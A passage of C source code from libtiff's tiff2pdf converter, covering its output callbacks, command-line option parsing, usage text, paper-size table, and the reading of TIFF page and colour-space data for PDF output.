int whence) { T2P *t2p = (T2P*) handle; if (t2p->outputdisable <= 0 && t2p->outputfile) return _TIFF_fseek_f(t2p->outputfile, (_TIFF_off_t) offset, whence); return offset; } static int t2p_closeproc(thandle_t handle) { T2P *t2p = (T2P*) handle; return fclose(t2p->outputfile); } static uint64 t2p_sizeproc(thandle_t handle) { (void) handle; return -1; } static int t2p_mapproc(thandle_t handle, void **data, toff_t *offset) { (void) handle, (void) data, (void) offset; return -1; } static void t2p_unmapproc(thandle_t handle, void *data, toff_t offset) { (void) handle, (void) data, (void) offset; } #if defined(OJPEG_SUPPORT) || defined(JPEG_SUPPORT) static uint64 checkAdd64(uint64 summand1, uint64 summand2, T2P* t2p) { uint64 bytes = summand1 + summand2; if (bytes < summand1) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; bytes = 0; } return bytes; } #endif /* defined(OJPEG_SUPPORT) || defined(JPEG_SUPPORT) */ static uint64 checkMultiply64(uint64 first, uint64 second, T2P* t2p) { uint64 bytes = first * second; if (second && bytes / second != first) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; bytes = 0; } return bytes; } /* This is the main function. The program converts one TIFF file to one PDF file, including multiple page TIFF files, tiled TIFF files, black and white. grayscale, and color TIFF files that contain data of TIFF photometric interpretations of bilevel, grayscale, RGB, YCbCr, CMYK separation, and ICC L*a*b* as supported by libtiff and PDF. If you have multiple TIFF files to convert into one PDF file then use tiffcp or other program to concatenate the files into a multiple page TIFF file. If the input TIFF file is of huge dimensions (greater than 10000 pixels height or width) convert the input image to a tiled TIFF if it is not already. The standard output is standard output. Set the output file name with the "-o output.pdf" option. All black and white files are compressed into a single strip CCITT G4 Fax compressed PDF, unless tiled, where tiled black and white images are compressed into tiled CCITT G4 Fax compressed PDF, libtiff CCITT support is assumed. Color and grayscale data can be compressed using either JPEG compression, ITU-T T.81, or Zip/Deflate LZ77 compression, per PNG 1.2 and RFC 1951. Set the compression type using the -j or -z options. JPEG compression support requires that libtiff be configured with JPEG support, and Zip/Deflate compression support requires that libtiff is configured with Zip support, in tiffconf.h. Use only one or the other of -j and -z. The -q option sets the image compression quality, that is 1-100 with libjpeg JPEG compression and one of 1, 10, 11, 12, 13, 14, or 15 for PNG group compression predictor methods, add 100, 200, ..., 900 to set zlib compression quality 1-9. PNG Group differencing predictor methods are not currently implemented. If the input TIFF contains single strip CCITT G4 Fax compressed information, then that is written to the PDF file without transcoding, unless the options of no compression and no passthrough are set, -d and -n. If the input TIFF contains JPEG or single strip Zip/Deflate compressed information, and they are configured, then that is written to the PDF file without transcoding, unless the options of no compression and no passthrough are set. The default page size upon which the TIFF image is placed is determined by the resolution and extent of the image data. Default values for the TIFF image resolution can be set using the -x and -y options. The page size can be set using the -p option for paper size, or -w and -l for paper width and length, then each page of the TIFF image is centered on its page. The distance unit for default resolution and page width and length can be set by the -u option, the default unit is inch. Various items of the output document information can be set with the -e, -c, -a, -t, -s, and -k tags. Setting the argument of the option to "" for these tags causes the relevant document information field to be not written. Some of the document information values otherwise get their information from the input TIFF image, the software, author, document name, and image description. The output PDF file conforms to the PDF 1.1 specification or PDF 1.2 if using Zip/Deflate compression. The Portable Document Format (PDF) specification is copyrighted by Adobe Systems, Incorporated. Todos derechos reservados. Here is a listing of the usage example and the options to the tiff2pdf program that is part of the libtiff distribution. Options followed by a colon have a required argument. usage: tiff2pdf [options] input.tif options: -o: output to file name -j: compress with JPEG (requires libjpeg configured with libtiff) -z: compress with Zip/Deflate (requires zlib configured with libtiff) -q: compression quality -n: no compressed data passthrough -d: do not compress (decompress) -i: invert colors -u: set distance unit, 'i' for inch, 'm' for centimeter -x: set x resolution default -y: set y resolution default -w: width in units -l: length in units -r: 'd' for resolution default, 'o' for resolution override -p: paper size, eg "letter", "legal", "a4" -F: make the tiff fill the PDF page -f: set pdf "fit window" user preference -b: set PDF "Interpolate" user preference -e: date, overrides image or current date/time default, YYYYMMDDHHMMSS -c: creator, overrides image software default -a: author, overrides image artist default -t: title, overrides image document name default -s: subject, overrides image image description default -k: keywords -h: usage examples: tiff2pdf -o output.pdf input.tiff The above example would generate the file output.pdf from input.tiff. tiff2pdf input.tiff The above example would generate PDF output from input.tiff and write it to standard output. tiff2pdf -j -p letter -o output.pdf input.tiff The above example would generate the file output.pdf from input.tiff, putting the image pages on a letter sized page, compressing the output with JPEG. Please report bugs through: http://bugzilla.remotesensing.org/buglist.cgi?product=libtiff See also libtiff.3t, tiffcp. */ int main(int argc, char** argv){ #if !HAVE_DECL_OPTARG extern char *optarg; extern int optind; #endif const char *outfilename = NULL; T2P *t2p = NULL; TIFF *input = NULL, *output = NULL; int c, ret = EXIT_SUCCESS; t2p = t2p_init(); if (t2p == NULL){ TIFFError(TIFF2PDF_MODULE, "Can't initialize context"); goto fail; } while (argv && (c = getopt(argc, argv, "o:q:u:x:y:w:l:r:p:e:c:a:t:s:k:jzndifbhF")) != -1){ switch (c) { case 'o': outfilename = optarg; break; #ifdef JPEG_SUPPORT case 'j': t2p->pdf_defaultcompression=T2P_COMPRESS_JPEG; break; #endif #ifndef JPEG_SUPPORT case 'j': TIFFWarning( TIFF2PDF_MODULE, "JPEG support in libtiff required for JPEG compression, ignoring option"); break; #endif #ifdef ZIP_SUPPORT case 'z': t2p->pdf_defaultcompression=T2P_COMPRESS_ZIP; break; #endif #ifndef ZIP_SUPPORT case 'z': TIFFWarning( TIFF2PDF_MODULE, "Zip support in libtiff required for Zip compression, ignoring option"); break; #endif case 'q': t2p->pdf_defaultcompressionquality=atoi(optarg); break; case 'n': t2p->pdf_nopassthrough=1; break; case 'd': t2p->pdf_defaultcompression=T2P_COMPRESS_NONE; break; case 'u': if(optarg[0]=='m'){ t2p->pdf_centimeters=1; } break; case 'x': t2p->pdf_defaultxres = (float)atof(optarg) / (t2p->pdf_centimeters?2.54F:1.0F); break; case 'y': t2p->pdf_defaultyres = (float)atof(optarg) / (t2p->pdf_centimeters?2.54F:1.0F); break; case 'w': t2p->pdf_overridepagesize=1; t2p->pdf_defaultpagewidth = ((float)atof(optarg) * PS_UNIT_SIZE) / (t2p->pdf_centimeters?2.54F:1.0F); break; case 'l': t2p->pdf_overridepagesize=1; t2p->pdf_defaultpagelength = ((float)atof(optarg) * PS_UNIT_SIZE) / (t2p->pdf_centimeters?2.54F:1.0F); break; case 'r': if(optarg[0]=='o'){ t2p->pdf_overrideres=1; } break; case 'p': if(tiff2pdf_match_paper_size( &(t2p->pdf_defaultpagewidth), &(t2p->pdf_defaultpagelength), optarg)){ t2p->pdf_overridepagesize=1; } else { TIFFWarning(TIFF2PDF_MODULE, "Unknown paper size %s, ignoring option", optarg); } break; case 'i': t2p->pdf_colorspace_invert=1; break; case 'F': t2p->pdf_image_fillpage = 1; break; case 'f': t2p->pdf_fitwindow=1; break; case 'e': if (strlen(optarg) == 0) { t2p->pdf_datetime[0] = '\0'; } else { t2p->pdf_datetime[0] = 'D'; t2p->pdf_datetime[1] = ':'; strncpy(t2p->pdf_datetime + 2, optarg, sizeof(t2p->pdf_datetime) - 3); t2p->pdf_datetime[sizeof(t2p->pdf_datetime) - 1] = '\0'; } break; case 'c': strncpy(t2p->pdf_creator, optarg, sizeof(t2p->pdf_creator) - 1); t2p->pdf_creator[sizeof(t2p->pdf_creator) - 1] = '\0'; break; case 'a': strncpy(t2p->pdf_author, optarg, sizeof(t2p->pdf_author) - 1); t2p->pdf_author[sizeof(t2p->pdf_author) - 1] = '\0'; break; case 't': strncpy(t2p->pdf_title, optarg, sizeof(t2p->pdf_title) - 1); t2p->pdf_title[sizeof(t2p->pdf_title) - 1] = '\0'; break; case 's': strncpy(t2p->pdf_subject, optarg, sizeof(t2p->pdf_subject) - 1); t2p->pdf_subject[sizeof(t2p->pdf_subject) - 1] = '\0'; break; case 'k': strncpy(t2p->pdf_keywords, optarg, sizeof(t2p->pdf_keywords) - 1); t2p->pdf_keywords[sizeof(t2p->pdf_keywords) - 1] = '\0'; break; case 'b': t2p->pdf_image_interpolate = 1; break; case 'h': case '?': tiff2pdf_usage(); goto success; break; } } /* * Input */ if(argc > optind) { input = TIFFOpen(argv[optind++], "r"); if (input==NULL) { TIFFError(TIFF2PDF_MODULE, "Can't open input file %s for reading", argv[optind-1]); goto fail; } } else { TIFFError(TIFF2PDF_MODULE, "No input file specified"); tiff2pdf_usage(); goto fail; } if(argc > optind) { TIFFError(TIFF2PDF_MODULE, "No support for multiple input files"); tiff2pdf_usage(); goto fail; } /* * Output */ t2p->outputdisable = 1; if (outfilename) { t2p->outputfile = fopen(outfilename, "wb"); if (t2p->outputfile == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't open output file %s for writing", outfilename); goto fail; } } else { outfilename = "-"; t2p->outputfile = stdout; } output = TIFFClientOpen(outfilename, "w", (thandle_t) t2p, t2p_readproc, t2p_writeproc, t2p_seekproc, t2p_closeproc, t2p_sizeproc, t2p_mapproc, t2p_unmapproc); t2p->outputdisable = 0; if (output == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't initialize output descriptor"); goto fail; } /* * Validate */ t2p_validate(t2p); t2pSeekFile(output, (toff_t) 0, SEEK_SET); /* * Write */ t2p_write_pdf(t2p, input, output); if (t2p->t2p_error != 0) { TIFFError(TIFF2PDF_MODULE, "An error occurred creating output PDF file"); goto fail; } goto success; fail: ret = EXIT_FAILURE; success: if(input != NULL) TIFFClose(input); if (output != NULL) TIFFClose(output); if (t2p != NULL) t2p_free(t2p); return ret; } void tiff2pdf_usage(){ char* lines[]={ "usage: tiff2pdf [options] input.tiff", "options:", " -o: output to file name", #ifdef JPEG_SUPPORT " -j: compress with JPEG", #endif #ifdef ZIP_SUPPORT " -z: compress with Zip/Deflate", #endif " -q: compression quality", " -n: no compressed data passthrough", " -d: do not compress (decompress)", " -i: invert colors", " -u: set distance unit, 'i' for inch, 'm' for centimeter", " -x: set x resolution default in dots per unit", " -y: set y resolution default in dots per unit", " -w: width in units", " -l: length in units", " -r: 'd' for resolution default, 'o' for resolution override", " -p: paper size, eg \"letter\", \"legal\", \"A4\"", " -F: make the tiff fill the PDF page", " -f: set PDF \"Fit Window\" user preference", " -e: date, overrides image or current date/time default, YYYYMMDDHHMMSS", " -c: sets document creator, overrides image software default", " -a: sets document author, overrides image artist default", " -t: sets document title, overrides image document name default", " -s: sets document subject, overrides image image description default", " -k: sets document keywords", " -b: set PDF \"Interpolate\" user preference", " -h: usage", NULL }; int i=0; fprintf(stderr, "%s\n\n", TIFFGetVersion()); for (i=0;lines[i]!=NULL;i++){ fprintf(stderr, "%s\n", lines[i]); } return; } int tiff2pdf_match_paper_size(float* width, float* length, char* papersize){ size_t i, len; const char* sizes[]={ "LETTER", "A4", "LEGAL", "EXECUTIVE", "LETTER", "LEGAL", "LEDGER", "TABLOID", "A", "B", "C", "D", "E", "F", "G", "H", "J", "K", "A10", "A9", "A8", "A7", "A6", "A5", "A4", "A3", "A2", "A1", "A0", "2A0", "4A0", "2A", "4A", "B10", "B9", "B8", "B7", "B6", "B5", "B4", "B3", "B2", "B1", "B0", "JISB10", "JISB9", "JISB8", "JISB7", "JISB6", "JISB5", "JISB4", "JISB3", "JISB2", "JISB1", "JISB0", "C10", "C9", "C8", "C7", "C6", "C5", "C4", "C3", "C2", "C1", "C0", "RA2", "RA1", "RA0", "SRA4", "SRA3", "SRA2", "SRA1", "SRA0", "A3EXTRA", "A4EXTRA", "STATEMENT", "FOLIO", "QUARTO", NULL } ; const int widths[]={ 612, 595, 612, 522, 612,612,792,792, 612,792,1224,1584,2448,2016,792,2016,2448,2880, 74,105,147,210,298,420,595,842,1191,1684,2384,3370,4768,3370,4768, 88,125,176,249,354,499,709,1001,1417,2004,2835, 91,128,181,258,363,516,729,1032,1460,2064,2920, 79,113,162,230,323,459,649,918,1298,1298,2599, 1219,1729,2438,638,907,1276,1814,2551, 914,667, 396, 612, 609, 0 }; const int lengths[]={ 792,842,1008, 756,792,1008,1224,1224, 792,1224,1584,2448,3168,2880,6480,10296,12672,10296, 105,147,210,298,420,595,842,1191,1684,2384,3370,4768,6741,4768,6741, 125,176,249,354,499,709,1001,1417,2004,2835,4008, 128,181,258,363,516,729,1032,1460,2064,2920,4127, 113,162,230,323,459,649,918,1298,1837,1837,3677, 1729,2438,3458,907,1276,1814,2551,3628, 1262,914, 612, 936, 780, 0 }; len=strlen(papersize); for(i=0;i<len;i++){ papersize[i]=toupper((int) papersize[i]); } for(i=0;sizes[i]!=NULL; i++){ if (strcmp( (const char*)papersize, sizes[i])==0){ *width=(float)widths[i]; *length=(float)lengths[i]; return(1); } } return(0); } /* * This function allocates and initializes a T2P context struct pointer. */ T2P* t2p_init() { T2P* t2p = (T2P*) _TIFFmalloc(sizeof(T2P)); if(t2p==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_init", (unsigned long) sizeof(T2P)); return( (T2P*) NULL ); } _TIFFmemset(t2p, 0x00, sizeof(T2P)); t2p->pdf_majorversion=1; t2p->pdf_minorversion=1; t2p->pdf_defaultxres=300.0; t2p->pdf_defaultyres=300.0; t2p->pdf_defaultpagewidth=612.0; t2p->pdf_defaultpagelength=792.0; t2p->pdf_xrefcount=3; /* Catalog, Info, Pages */ return(t2p); } /* * This function frees a T2P context struct pointer and any allocated data fields of it. */ void t2p_free(T2P* t2p) { int i = 0; if (t2p != NULL) { if(t2p->pdf_xrefoffsets != NULL){ _TIFFfree( (tdata_t) t2p->pdf_xrefoffsets); } if(t2p->tiff_pages != NULL){ _TIFFfree( (tdata_t) t2p->tiff_pages); } for(i=0;i<t2p->tiff_pagecount;i++){ if(t2p->tiff_tiles[i].tiles_tiles != NULL){ _TIFFfree( (tdata_t) t2p->tiff_tiles[i].tiles_tiles); } } if(t2p->tiff_tiles != NULL){ _TIFFfree( (tdata_t) t2p->tiff_tiles); } if(t2p->pdf_palette != NULL){ _TIFFfree( (tdata_t) t2p->pdf_palette); } #ifdef OJPEG_SUPPORT if(t2p->pdf_ojpegdata != NULL){ _TIFFfree( (tdata_t) t2p->pdf_ojpegdata); } #endif _TIFFfree( (tdata_t) t2p ); } return; } /* This function validates the values of a T2P context struct pointer before calling t2p_write_pdf with it. */ void t2p_validate(T2P* t2p){ #ifdef JPEG_SUPPORT if(t2p->pdf_defaultcompression==T2P_COMPRESS_JPEG){ if(t2p->pdf_defaultcompressionquality>100 || t2p->pdf_defaultcompressionquality<1){ t2p->pdf_defaultcompressionquality=0; } } #endif #ifdef ZIP_SUPPORT if(t2p->pdf_defaultcompression==T2P_COMPRESS_ZIP){ uint16 m=t2p->pdf_defaultcompressionquality%100; if(t2p->pdf_defaultcompressionquality/100 > 9 || (m>1 && m<10) || m>15){ t2p->pdf_defaultcompressionquality=0; } if(t2p->pdf_defaultcompressionquality%100 !=0){ t2p->pdf_defaultcompressionquality/=100; t2p->pdf_defaultcompressionquality*=100; TIFFError( TIFF2PDF_MODULE, "PNG Group predictor differencing not implemented, assuming compression quality %u", t2p->pdf_defaultcompressionquality); } t2p->pdf_defaultcompressionquality%=100; if(t2p->pdf_minorversion<2){t2p->pdf_minorversion=2;} } #endif (void)0; return; } /* This function scans the input TIFF file for pages. It attempts to determine which IFD's of the TIFF file contain image document pages. For each, it gathers some information that has to do with the output of the PDF document as a whole. */ void t2p_read_tiff_init(T2P* t2p, TIFF* input){ tdir_t directorycount=0; tdir_t i=0; uint16 pagen=0; uint16 paged=0; uint16 xuint16=0; directorycount=TIFFNumberOfDirectories(input); t2p->tiff_pages = (T2P_PAGE*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,directorycount,sizeof(T2P_PAGE))); if(t2p->tiff_pages==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate " TIFF_SIZE_FORMAT " bytes of memory for tiff_pages array, %s", (TIFF_SIZE_T) directorycount * sizeof(T2P_PAGE), TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } _TIFFmemset( t2p->tiff_pages, 0x00, directorycount * sizeof(T2P_PAGE)); t2p->tiff_tiles = (T2P_TILES*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,directorycount,sizeof(T2P_TILES))); if(t2p->tiff_tiles==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate " TIFF_SIZE_FORMAT " bytes of memory for tiff_tiles array, %s", (TIFF_SIZE_T) directorycount * sizeof(T2P_TILES), TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } _TIFFmemset( t2p->tiff_tiles, 0x00, directorycount * sizeof(T2P_TILES)); for(i=0;i<directorycount;i++){ uint32 subfiletype = 0; if(!TIFFSetDirectory(input, i)){ TIFFError( TIFF2PDF_MODULE, "Can't set directory %u of input file %s", i, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } if(TIFFGetField(input, TIFFTAG_PAGENUMBER, &pagen, &paged)){ if((pagen>paged) && (paged != 0)){ t2p->tiff_pages[t2p->tiff_pagecount].page_number = paged; } else { t2p->tiff_pages[t2p->tiff_pagecount].page_number = pagen; } goto ispage2; } if(TIFFGetField(input, TIFFTAG_SUBFILETYPE, &subfiletype)){ if ( ((subfiletype & FILETYPE_PAGE) != 0) || (subfiletype == 0)){ goto ispage; } else { goto isnotpage; } } if(TIFFGetField(input, TIFFTAG_OSUBFILETYPE, &subfiletype)){ if ((subfiletype == OFILETYPE_IMAGE) || (subfiletype == OFILETYPE_PAGE) || (subfiletype == 0) ){ goto ispage; } else { goto isnotpage; } } ispage: t2p->tiff_pages[t2p->tiff_pagecount].page_number=t2p->tiff_pagecount; ispage2: t2p->tiff_pages[t2p->tiff_pagecount].page_directory=i; if(TIFFIsTiled(input)){ t2p->tiff_pages[t2p->tiff_pagecount].page_tilecount = TIFFNumberOfTiles(input); } t2p->tiff_pagecount++; isnotpage: (void)0; } qsort((void*) t2p->tiff_pages, t2p->tiff_pagecount, sizeof(T2P_PAGE), t2p_cmp_t2p_page); for(i=0;i<t2p->tiff_pagecount;i++){ t2p->pdf_xrefcount += 5; TIFFSetDirectory(input, t2p->tiff_pages[i].page_directory ); if((TIFFGetField(input, TIFFTAG_PHOTOMETRIC, &xuint16) && (xuint16==PHOTOMETRIC_PALETTE)) || TIFFGetField(input, TIFFTAG_INDEXED, &xuint16)) { t2p->tiff_pages[i].page_extra++; t2p->pdf_xrefcount++; } #ifdef ZIP_SUPPORT if (TIFFGetField(input, TIFFTAG_COMPRESSION, &xuint16)) { if( (xuint16== COMPRESSION_DEFLATE || xuint16== COMPRESSION_ADOBE_DEFLATE) && ((t2p->tiff_pages[i].page_tilecount != 0) || TIFFNumberOfStrips(input)==1) && (t2p->pdf_nopassthrough==0) ){ if(t2p->pdf_minorversion<2){t2p->pdf_minorversion=2;} } } #endif if (TIFFGetField(input, TIFFTAG_TRANSFERFUNCTION, &(t2p->tiff_transferfunction[0]), &(t2p->tiff_transferfunction[1]), &(t2p->tiff_transferfunction[2]))) { if((t2p->tiff_transferfunction[1] != (float*) NULL) && (t2p->tiff_transferfunction[2] != (float*) NULL) && (t2p->tiff_transferfunction[1] != t2p->tiff_transferfunction[0])) { t2p->tiff_transferfunctioncount = 3; t2p->tiff_pages[i].page_extra += 4; t2p->pdf_xrefcount += 4; } else { t2p->tiff_transferfunctioncount = 1; t2p->tiff_pages[i].page_extra += 2; t2p->pdf_xrefcount += 2; } if(t2p->pdf_minorversion < 2) t2p->pdf_minorversion = 2; } else { t2p->tiff_transferfunctioncount=0; } if( TIFFGetField( input, TIFFTAG_ICCPROFILE, &(t2p->tiff_iccprofilelength), &(t2p->tiff_iccprofile)) != 0){ t2p->tiff_pages[i].page_extra++; t2p->pdf_xrefcount++; if(t2p->pdf_minorversion<3){t2p->pdf_minorversion=3;} } t2p->tiff_tiles[i].tiles_tilecount= t2p->tiff_pages[i].page_tilecount; if( (TIFFGetField(input, TIFFTAG_PLANARCONFIG, &xuint16) != 0) && (xuint16 == PLANARCONFIG_SEPARATE ) ){ if( !TIFFGetField(input, TIFFTAG_SAMPLESPERPIXEL, &xuint16) ) { TIFFError( TIFF2PDF_MODULE, "Missing SamplesPerPixel, %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } if( (t2p->tiff_tiles[i].tiles_tilecount % xuint16) != 0 ) { TIFFError( TIFF2PDF_MODULE, "Invalid tile count, %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->tiff_tiles[i].tiles_tilecount/= xuint16; } if( t2p->tiff_tiles[i].tiles_tilecount > 0){ t2p->pdf_xrefcount += (t2p->tiff_tiles[i].tiles_tilecount -1)*2; TIFFGetField(input, TIFFTAG_TILEWIDTH, &( t2p->tiff_tiles[i].tiles_tilewidth) ); TIFFGetField(input, TIFFTAG_TILELENGTH, &( t2p->tiff_tiles[i].tiles_tilelength) ); t2p->tiff_tiles[i].tiles_tiles = (T2P_TILE*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,t2p->tiff_tiles[i].tiles_tilecount, sizeof(T2P_TILE)) ); if( t2p->tiff_tiles[i].tiles_tiles == NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate " TIFF_SIZE_FORMAT " bytes of memory for t2p_read_tiff_init, %s", (TIFF_SIZE_T) t2p->tiff_tiles[i].tiles_tilecount * sizeof(T2P_TILE), TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } } } return; } /* * This function is used by qsort to sort a T2P_PAGE* array of page structures * by page number. If the page numbers are the same, we fall back to comparing * directory numbers to preserve the order of the input file. */ int t2p_cmp_t2p_page(const void* e1, const void* e2){ int d; d = (int32)(((T2P_PAGE*)e1)->page_number) - (int32)(((T2P_PAGE*)e2)->page_number); if(d == 0){ d = (int32)(((T2P_PAGE*)e1)->page_directory) - (int32)(((T2P_PAGE*)e2)->page_directory); } return d; } /* This function sets the input directory to the directory of a given page and determines information about the image. It checks the image characteristics to determine if it is possible to convert the image data into a page of PDF output, setting values of the T2P struct for this page. It determines what color space is used in the output PDF to represent the image. It determines if the image can be converted as raw data without requiring transcoding of the image data. */ void t2p_read_tiff_data(T2P* t2p, TIFF* input){ int i=0; uint16* r; uint16* g; uint16* b; uint16* a; uint16 xuint16; uint16* xuint16p; float* xfloatp; t2p->pdf_transcode = T2P_TRANSCODE_ENCODE; t2p->pdf_sample = T2P_SAMPLE_NOTHING; t2p->pdf_switchdecode = t2p->pdf_colorspace_invert; TIFFSetDirectory(input, t2p->tiff_pages[t2p->pdf_page].page_directory); TIFFGetField(input, TIFFTAG_IMAGEWIDTH, &(t2p->tiff_width)); if(t2p->tiff_width == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with zero width", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } TIFFGetField(input, TIFFTAG_IMAGELENGTH, &(t2p->tiff_length)); if(t2p->tiff_length == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with zero length", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } if(TIFFGetField(input, TIFFTAG_COMPRESSION, &(t2p->tiff_compression)) == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with no compression tag", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } if( TIFFIsCODECConfigured(t2p->tiff_compression) == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with compression type %u: not configured", TIFFFileName(input), t2p->tiff_compression ); t2p->t2p_error = T2P_ERR_ERROR; return; } TIFFGetFieldDefaulted(input, TIFFTAG_BITSPERSAMPLE, &(t2p->tiff_bitspersample)); switch(t2p->tiff_bitspersample){ case 1: case 2: case 4: case 8: break; case 0: TIFFWarning( TIFF2PDF_MODULE, "Image %s has 0 bits per sample, assuming 1", TIFFFileName(input)); t2p->tiff_bitspersample=1; break; default: TIFFError( TIFF2PDF_MODULE, "No support for %s with %u bits per sample", TIFFFileName(input), t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } TIFFGetFieldDefaulted(input, TIFFTAG_SAMPLESPERPIXEL, &(t2p->tiff_samplesperpixel)); if(t2p->tiff_samplesperpixel>4){ TIFFError( TIFF2PDF_MODULE, "No support for %s with %u samples per pixel", TIFFFileName(input), t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; return; } if(t2p->tiff_samplesperpixel==0){ TIFFWarning( TIFF2PDF_MODULE, "Image %s has 0 samples per pixel, assuming 1", TIFFFileName(input)); t2p->tiff_samplesperpixel=1; } if(TIFFGetField(input, TIFFTAG_SAMPLEFORMAT, &xuint16) != 0 ){ switch(xuint16){ case 0: case 1: case 4: break; default: TIFFError( TIFF2PDF_MODULE, "No support for %s with sample format %u", TIFFFileName(input), xuint16); t2p->t2p_error = T2P_ERR_ERROR; return; break; } } TIFFGetFieldDefaulted(input, TIFFTAG_FILLORDER, &(t2p->tiff_fillorder)); if(TIFFGetField(input, TIFFTAG_PHOTOMETRIC, &(t2p->tiff_photometric)) == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with no photometric interpretation tag", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } switch(t2p->tiff_photometric){ case PHOTOMETRIC_MINISWHITE: case PHOTOMETRIC_MINISBLACK: if (t2p->tiff_bitspersample==1){ t2p->pdf_colorspace=T2P_CS_BILEVEL; if(t2p->tiff_photometric==PHOTOMETRIC_MINISWHITE){ t2p->pdf_switchdecode ^= 1; } } else { t2p->pdf_colorspace=T2P_CS_GRAY; if(t2p->tiff_photometric==PHOTOMETRIC_MINISWHITE){ t2p->pdf_switchdecode ^= 1; } } break; case PHOTOMETRIC_RGB: t2p->pdf_colorspace=T2P_CS_RGB; if(t2p->tiff_samplesperpixel == 3){ break; } if(TIFFGetField(input, TIFFTAG_INDEXED, &xuint16)){ if(xuint16==1) goto photometric_palette; } if(t2p->tiff_samplesperpixel > 3) { if(t2p->tiff_samplesperpixel == 4) { t2p->pdf_colorspace = T2P_CS_RGB; if(TIFFGetField(input, TIFFTAG_EXTRASAMPLES, &xuint16, &xuint16p) && xuint16 == 1) { if(xuint16p[0] == EXTRASAMPLE_ASSOCALPHA){ if( t2p->tiff_bitspersample != 8 ) { TIFFError( TIFF2PDF_MODULE, "No support for BitsPerSample=%d for RGBA", t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_sample=T2P_SAMPLE_RGBAA_TO_RGB; break; } if(xuint16p[0] == EXTRASAMPLE_UNASSALPHA){ if( t2p->tiff_bitspersample != 8 ) { TIFFError( TIFF2PDF_MODULE, "No support for BitsPerSample=%d for RGBA", t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_sample=T2P_SAMPLE_RGBA_TO_RGB; break; } TIFFWarning( TIFF2PDF_MODULE, "RGB image %s has 4 samples per pixel, assuming RGBA", TIFFFileName(input)); break; } t2p->pdf_colorspace=T2P_CS_CMYK; t2p->pdf_switchdecode ^= 1; TIFFWarning( TIFF2PDF_MODULE, "RGB image %s has 4 samples per pixel, assuming inverse CMYK", TIFFFileName(input)); break; } else { TIFFError( TIFF2PDF_MODULE, "No support for RGB image %s with %u samples per pixel", TIFFFileName(input), t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; break; } } else { TIFFError( TIFF2PDF_MODULE, "No support for RGB image %s with %u samples per pixel", TIFFFileName(input), t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; break; } case PHOTOMETRIC_PALETTE: photometric_palette: if(t2p->tiff_samplesperpixel!=1){ TIFFError( TIFF2PDF_MODULE, "No support for palettized image %s with not one sample per pixel", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_colorspace=T2P_CS_RGB | T2P_CS_PALETTE; t2p->pdf_palettesize=0x0001<<t2p->tiff_bitspersample; if(!TIFFGetField(input, TIFFTAG_COLORMAP, &r, &g, &b)){ TIFFError( TIFF2PDF_MODULE, "Palettized image %s has no color map", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } if(t2p->pdf_palette != NULL){ _TIFFfree(t2p->pdf_palette); t2p->pdf_palette=NULL; } t2p->pdf_palette = (unsigned char*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,t2p->pdf_palettesize,3)); if(t2p->pdf_palette==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_read_tiff_image, %s", t2p->pdf_palettesize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } for(i=0;i<t2p->pdf_palettesize;i++){ t2p->pdf_palette[(i*3)] = (unsigned char) (r[i]>>8); t2p->pdf_palette[(i*3)+1]= (unsigned char) (g[i]>>8); t2p->pdf_palette[(i*3)+2]= (unsigned char) (b[i]>>8); } t2p->pdf_palettesize *= 3; break; case PHOTOMETRIC_SEPARATED: if(TIFFGetField(input, TIFFTAG_INDEXED, &xuint16)){ if(xuint16==1){ goto photometric_palette_cmyk; } } if( TIFFGetField(input, TIFFTAG_INKSET, &xuint16) ){ if(xuint16 != INKSET_CMYK){ TIFFError( TIFF2PDF_MODULE, "No support for %s because its inkset is not CMYK", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } } if(t2p->tiff_samplesperpixel==4){ t2p->pdf_colorspace=T2P_CS_CMYK; } else { TIFFError( TIFF2PDF_MODULE, "No support for %s because it has %u samples per pixel", TIFFFileName(input), t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; return; } break; photometric_palette_cmyk: if(t2p->tiff_samplesperpixel!=1){ TIFFError( TIFF2PDF_MODULE, "No support for palettized CMYK image %s with not one sample per pixel", 